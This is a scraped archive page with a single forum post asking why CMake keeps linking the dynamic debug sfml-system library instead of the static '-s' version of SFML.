I have compiled SFML as a static library also, however, cmake keeps trying to link against the dynamic version of sfml-system (with the -d suffix). And from what I'm seeing in the module it should add the -s suffix when the static variable is set to true, what gives?
Thread replies: 255
Thread images: 68

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.